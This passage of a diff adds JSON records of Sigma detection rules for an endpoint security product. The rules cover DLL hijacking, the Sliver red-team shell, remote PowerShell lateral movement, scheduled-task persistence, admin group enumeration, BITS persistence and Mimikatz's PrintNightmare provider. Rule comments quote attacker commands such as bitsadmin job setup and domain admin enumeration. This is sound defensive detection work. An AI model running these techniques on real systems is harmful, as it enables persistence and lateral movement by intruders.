classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'repair-bde.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\BDEREPAIR.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d7d8cd4e-04dc-40b3-a834-8d3f13d58867",
+  "rule_name": "DLL Hijacking via repair-bde.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via repair-bde.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d7e9b2bf-2f97-4449-a43f-9d5c5c07bbe0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608930Z",
+  "creation_date": "2026-03-23T11:45:34.608933Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608941Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BishopFox/sliver",
+    "https://github.com/BishopFox/sliver/blob/master/implant/sliver/shell/shell_windows.go",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_sliver_interactive_shell.yml",
+  "content": "title: Suspicious Sliver Interactive Shell Executed\nid: d7e9b2bf-2f97-4449-a43f-9d5c5c07bbe0\ndescription: |\n    Detects the usage of the Sliver interactive shell.\n    Sliver is an open source cross-platform adversary emulation/red team framework to perform security testing.\n    It is recommended to analyze the parent process and the context of this action, with the help of the process tree as well as to correlate this alert with other malicious actions on the host.\nreferences:\n    - https://github.com/BishopFox/sliver\n    - https://github.com/BishopFox/sliver/blob/master/implant/sliver/shell/shell_windows.go\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/10/14\nmodified: 2022/10/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Sliver\n    - classification.Windows.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d7e9b2bf-2f97-4449-a43f-9d5c5c07bbe0",
+  "rule_name": "Suspicious Sliver Interactive Shell Executed",
+  "rule_description": "Detects the usage of the Sliver interactive shell.\nSliver is an open source cross-platform adversary emulation/red team framework to perform security testing.\nIt is recommended to analyze the parent process and the context of this action, with the help of the process tree as well as to correlate this alert with other malicious actions on the host.\n",
+  "rule_creation_date": "2022-10-14",
+  "rule_modified_date": "2022-10-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d808495c-6318-462f-8fc6-c6e69c5e2c7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090294Z",
+  "creation_date": "2026-03-23T11:45:34.090296Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090300Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/006/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1021_006_powershell_invoke_command_remote.yml",
+  "content": "title: PowerShell Invoke-Command Executed on Remote Host\nid: d808495c-6318-462f-8fc6-c6e69c5e2c7f\ndescription: |\n    Detects the execution of the Invoke-Command PowerShell cmdlet on remote host.\n    Attackers can use this technique to execute remote commands on a target host, as part of lateral movement.\n    It is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/006/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/11/07\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Invoke-Command -Comp'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_parentimage:\n        ProcessParentImage: '?:\\Program Files\\Commvault\\ContentStore\\Base\\ADBackup.exe'\n\n    exclusion_grandparentimage:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\CairnisAgent\\nvdkit.exe'\n\n    exclusion_cairnis_agent:\n        ProcessCommandLine|startswith: '?:/Windows/Sysnative/WindowsPowerShell/v1.0/PowerShell.exe -Executionpolicy remotesigned -File ?:/CairnisAgent/CAIDB/WS/CAIPWS_Command.ps1'\n        ProcessUserSID: 'S-1-5-18'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d808495c-6318-462f-8fc6-c6e69c5e2c7f",
+  "rule_name": "PowerShell Invoke-Command Executed on Remote Host",
+  "rule_description": "Detects the execution of the Invoke-Command PowerShell cmdlet on remote host.\nAttackers can use this technique to execute remote commands on a target host, as part of lateral movement.\nIt is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d81c9136-0e88-4664-8b26-032b35d6e555",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604729Z",
+  "creation_date": "2026-03-23T11:45:34.604732Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604740Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/",
+    "https://nasbench.medium.com/a-deep-dive-into-windows-scheduled-tasks-and-the-processes-running-them-218d1eed4cce",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_suspicious_scheduled_task_launched.yml",
+  "content": "title: Suspicious Scheduled Task Launched\nid: d81c9136-0e88-4664-8b26-032b35d6e555\ndescription: |\n    Detects the execution of suspicious processes spawned directly by a scheduled task, such as powershell.exe, cmd.exe, or unusual script interpreters.\n    Attackers often use scheduled tasks to establish a persistent execution of malicious code.\n    It is recommended to investigate the command-line and any potential scripts it launches (by creating a file download job) to determine its maliciousness.\nreferences:\n    - https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/\n    - https://nasbench.medium.com/a-deep-dive-into-windows-scheduled-tasks-and-the-processes-running-them-218d1eed4cce\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2022/10/20\nmodified: 2025/11/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ScheduledTask\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_parent:\n        ParentCommandLine|endswith:\n            - '\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '\\taskeng.exe' # on older windows versions\n\n    selection_process:\n        - Image|endswith:\n            # cmd + scripts\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\rundll32.exe'\n            - '\\mshta.exe'\n        # handle renamed binaries\n        - OriginalFileName:\n            - 'Cmd.Exe'\n            - 'PowerShell.EXE'\n            - 'pwsh.dll'  # related to pwsh.exe (PowerShell 6)\n            - 'wscript.exe'\n            - 'cscript.exe'\n            - 'RUNDLL32.EXE'\n            - 'MSHTA.EXE'\n            - 'pythonw.exe'\n            - 'python.exe'\n\n    selection_moderate_directory:\n        CommandLine|contains:\n            - ':\\Users\\\\*\\AppData\\'\n            - ':\\Windows\\Temp\\'\n#            - ':\\ProgramData\\' Too many False-Positives\n\n    selection_suspicious_directory:\n        CommandLine|contains:\n            - ':\\PerfLogs\\'\n            - ':\\Users\\\\*\\AppData\\Roaming\\'\n            - ':\\Users\\\\*\\AppData\\LocalLow\\'\n            - ':\\Users\\Default\\'\n            - ':\\Users\\Public\\'\n\n    exclusion_cmd:\n        CommandLine: '?:\\WINDOWS\\system32\\cmd.EXE /C ?:\\ProgramData\\Microsoft Services BootXRay\\BxrR\\Resource\\Invoke-BxrR__PostBootActions1.bat 120 60'\n\n    exclusion_powershell:\n        CommandLine:\n            - 'powershell.exe -Command  ipmo PSWindowsUpdate; Install-WindowsUpdate -AcceptAll -ignoreReboot'\n            - '?:\\Windows\\system32\\cmd.EXE /c powershell.exe -executionpolicy bypass -NoProfile -File ?:/windows/temp/winrm-elevated-shell-????????-????-????-????-????????????.ps1 > ?:\\Users\\\\*cyberwatch*\\AppData\\Local\\Temp\\tmp*.tmp 2>?:\\Users\\\\*cyberwatch*\\AppData\\Local\\Temp\\tmp*.tmp'\n            - 'powershell.exe -NoProfile -ExecutionPolicy Bypass -File ?:\\ProgramData\\Winget-AutoUpdate\\winget-upgrade.ps1'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell.exe powershell -executionpolicy bypass -file ?:\\ProgramData\\Lenovo\\ImController\\Plugins\\LenovoBatteryGaugePackage\\data\\Maintenance.ps1'\n\n    exclusion_cscript:\n        CommandLine: '?:\\Windows\\system32\\cscript.exe /B /nologo ?:\\Windows\\system32\\calluxxprovider.vbs RemoveServerPerformanceLog Server Manager Performance Monitor 604800000 ?:\\PerfLogs\\Admin\\ServerManager\\ $(Arg2)'\n\n    exclusion_roaming:\n        CommandLine|contains:\n            # '*\\AppData\\Roaming\\NCH Software\\Program Files\\ExpressInvoice\\ExpressInvoice.exe -schedbackup'\n            # '*\\AppData\\Roaming\\NCH Software\\Program Files\\Inventoria\\Inventoria.exe -schedbackup'\n            # '*\\AppData\\Roaming\\NCH Software\\Program Files\\ExpressZip\\expresszip.exe -downgrade'\n            # '*\\AppData\\Roaming\\NCH Software\\Program Files\\ExpressZip\\ExpressZip.exe -notifyinstalled'\n            - '\\AppData\\Roaming\\NCH Software\\Program Files\\\\*\\\\*.exe -'\n            - '\\AppData\\Roaming\\Real\\Update\\UpgradeHelper\\RealPlayer\\\\*\\agent\\rnupgagent.exe /'\n            - '\\AppData\\Roaming\\Orange\\OrangeInside\\OrangeInside.exe'\n            - '\\AppData\\Roaming\\NCH Software\\Program Files\\Pixillion\\pixillion.exe -downgrade'\n            - '\\AppData\\Roaming\\Signiant\\SigniantApp.exe --checkRunning'\n            - '\\AppData\\Roaming\\Zoom\\bin\\Zoom.exe --action=UpdateSchedule'\n            - '\\AppData\\Roaming\\Zoom\\bin\\Zoom.exe  --action=UpdateSchedule' # The two spaces are intentional\n            - '\\AppData\\Roaming\\Zoom\\bin_??\\Zoom.exe --action=UpdateSchedule'\n\n    exclusion_public:\n        CommandLine:\n            - '?:\\Users\\Public\\Documents\\Activer_framework_?_?.exe'\n            - '?:\\Users\\Public\\Documents\\nettoyer_profil2.exe'\n            - '?:\\Users\\Public\\Documents\\KIMO INSTRUMENTS\\\\*'\n            - '?:\\Users\\Public\\TurboStnc\\TurboSyncService.exe -TASK RETOUR'\n\n    exclusion_mylfp:\n        CommandLine: '?:\\Windows\\System32\\wscript.exe ?:\\Users\\\\*\\AppData\\Roaming\\MyLFPAgent\\\\*\\MyLFPAgent.vbs'\n\n    exclusion_watchdog:\n        CommandLine: '?:\\windows\\system32\\cmd.exe /c ?:\\programdata\\cus\\watchdogreboot\\watchdogreboot.cmd'\n\n    exclusion_microsoft_ep_man:\n        CommandLine: 'powershell.exe -executionpolicy bypass -file ?:\\windows\\temp\\Install_Client_MECM.ps1'\n\n    exclusion_turbosync:\n        CommandLine|startswith: '?:\\users\\public\\turbosync\\turbosyncservice.exe'\n\n    exclusion_cmd_common:\n        CommandLine|startswith: 'cmd.exe /C START /MIN /D'\n\n    condition: selection_parent and (selection_process and selection_moderate_directory or selection_suspicious_directory) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d81c9136-0e88-4664-8b26-032b35d6e555",
+  "rule_name": "Suspicious Scheduled Task Launched",
+  "rule_description": "Detects the execution of suspicious processes spawned directly by a scheduled task, such as powershell.exe, cmd.exe, or unusual script interpreters.\nAttackers often use scheduled tasks to establish a persistent execution of malicious code.\nIt is recommended to investigate the command-line and any potential scripts it launches (by creating a file download job) to determine its maliciousness.\n",
+  "rule_creation_date": "2022-10-20",
+  "rule_modified_date": "2025-11-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d8214e01-f0fd-4297-a2ee-d06835cdad6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622732Z",
+  "creation_date": "2026-03-23T11:45:34.622734Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622738Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1069/001/",
+    "https://attack.mitre.org/techniques/T1069/002/"
+  ],
+  "name": "t1069_001_net_localgroup_administrators.yml",
+  "content": "title: Administrators Group Content Discovered\nid: d8214e01-f0fd-4297-a2ee-d06835cdad6e\ndescription: |\n    Detects execution of 'net localgroup administrators' or 'net group \"domain admins\" /domain'.\n    These commands are often used by attackers to enumerate the contents of the local or domain administrators group as part of initial access or lateral movement within a network.\n    It is recommended to investigate such activity, and correlate it with other discovery activity on the endpoint.\nreferences:\n    - https://attack.mitre.org/techniques/T1069/001/\n    - https://attack.mitre.org/techniques/T1069/002/\ndate: 2021/03/15\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1069.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # net localgroup administrators\n    # net group \"domain admins\" /domain\n    selection_1:\n        - Image|endswith: '\\net1.exe'\n        # Renamed binaries\n        - OriginalFileName: 'net1.exe'\n    selection_2:\n        CommandLine|contains:\n            - ' localgroup '\n            - ' group '\n            - ' groups '\n    selection_3:\n        # matches administrators, administrateurs, domain admin, ...\n        CommandLine|contains: 'admin'\n\n    # This is handled by other rules\n    filter_command:\n        CommandLine|contains:\n            - '/add'\n            - '/delete'\n            - '/del'\n    filter_admin:\n        CommandLine|contains|all:\n            - ' /dom'\n            - ' admin'\n            - ' domain'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_nexthink:\n        GrandparentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentCommandLine|contains: '-NoProfile -NoLogo -NonInteractive -Sta -ExecutionPolicy Unrestricted -File ?:\\ProgramData\\Nexthink\\RemoteActions\\Scripts\\System\\{????????-????-????-????-????????????}.ps1 -Whitelist'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|?:\\Program Files\\'\n            - '|?:\\Program Files (x86)\\'\n            - '|?:\\Windows\\SysWOW64\\cmd.exe|?:\\aigaclient\\aiga.exe|'\n            - '|?:\\Windows\\SysWOW64\\cmd.exe|?:\\aigaserveur\\aiga.exe|'\n            - '|?:\\Windows\\CCM\\CcmExec.exe|?:\\Windows\\System32\\services.exe|'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d8214e01-f0fd-4297-a2ee-d06835cdad6e",
+  "rule_name": "Administrators Group Content Discovered",
+  "rule_description": "Detects execution of 'net localgroup administrators' or 'net group \"domain admins\" /domain'.\nThese commands are often used by attackers to enumerate the contents of the local or domain administrators group as part of initial access or lateral movement within a network.\nIt is recommended to investigate such activity, and correlate it with other discovery activity on the endpoint.\n",
+  "rule_creation_date": "2021-03-15",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.001",
+    "attack.t1069.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d84087b2-ec87-4a75-abe6-badf1ee886d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081335Z",
+  "creation_date": "2026-03-23T11:45:34.081337Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081342Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
+    "https://docs.microsoft.com/windows/win32/bits/about-bits",
+    "https://attack.mitre.org/techniques/T1197/",
+    "https://attack.mitre.org/software/S0190/"
+  ],
+  "name": "t1197_bitsadmin_persistence.yml",
+  "content": "title: Persistence or Code Execution via BITS\nid: d84087b2-ec87-4a75-abe6-badf1ee886d4\ndescription: |\n    Detects a suspicious attempt to maintain persistence or execute code using bitsadmin.\n    Bitsadmin is a tool to manage the Background Intelligent Transfer Service (BITS) which is used to download files from or upload files to HTTP web servers and SMB file shares.\n    This service is an asynchronous file transfer mechanism and it's often used by attackers to download malicious files, exfiltrate data or maintain persistence.\n    By default, BITS jobs have a 90 days maximum lifetime if complete or cancel method are not called.\n    It is recommended to check the legitimacy of this action and the source (for downloading)/destination (for uploading) machine.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/\n    - https://docs.microsoft.com/windows/win32/bits/about-bits\n    - https://attack.mitre.org/techniques/T1197/\n    - https://attack.mitre.org/software/S0190/\ndate: 2021/05/10\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1197\n    - attack.s0190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Bitsadmin\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # bitsadmin /create <job_name>\n    # bitsadmin /addfile <job_name> <remote_path> <local_path>\n    # bitsadmin /SetNotifyCmdLine <job_name> <program_name> [program_parameters]\n    # bitsadmin /resume <job_name>\n    selection_binary:\n        - Image|endswith: '\\bitsadmin.exe'\n        - OriginalFileName: 'bitsadmin.exe'\n\n    selection_persistence:\n        CommandLine|contains: 'SetNotifyCmdLine'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d84087b2-ec87-4a75-abe6-badf1ee886d4",
+  "rule_name": "Persistence or Code Execution via BITS",
+  "rule_description": "Detects a suspicious attempt to maintain persistence or execute code using bitsadmin.\nBitsadmin is a tool to manage the Background Intelligent Transfer Service (BITS) which is used to download files from or upload files to HTTP web servers and SMB file shares.\nThis service is an asynchronous file transfer mechanism and it's often used by attackers to download malicious files, exfiltrate data or maintain persistence.\nBy default, BITS jobs have a 90 days maximum lifetime if complete or cancel method are not called.\nIt is recommended to check the legitimacy of this action and the source (for downloading)/destination (for uploading) machine.\n",
+  "rule_creation_date": "2021-05-10",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1197"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d844ae3d-4e16-4374-947d-6f17eb0a954d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595280Z",
+  "creation_date": "2026-03-23T11:45:34.595283Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595291Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675"
+  ],
+  "name": "t1574_spoolsv_new_mimikatz_provider.yml",
+  "content": "title: Mimikatz Print Provider Added\nid: d844ae3d-4e16-4374-947d-6f17eb0a954d\ndescription: |\n    Detects the installation of a new print provider by running mimikatz's PrintNightmare implementation.\n    Attackers can install a new print provider as part of CVE-2021-1675 to gain code execution in spoolsv.\n    It is recommended to isolate the infected host and to look for attacker activities on other hosts.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675\ndate: 2021/07/06\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1574\n    - attack.s0002\n    - cve.2021-1675\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.CVE-2021-1675\n    - classification.Windows.Exploit.PrintNightmare\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        Image|endswith: '\\spoolsv.exe'\n        # spoolsv AddNewProvider function is in charge of writting it.\n        # HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Drivers\\Version-3\\mimikatz-{438047e2-911d-4073-9be6-be3530c13385}-reallylegitprinter\\Configuration File\n        TargetObject:\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows *\\Drivers\\Version-?\\mimikatz-{????????-????-????-????-????????????}-reallylegitprinter\\Configuration File'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Print\\Environments\\Windows 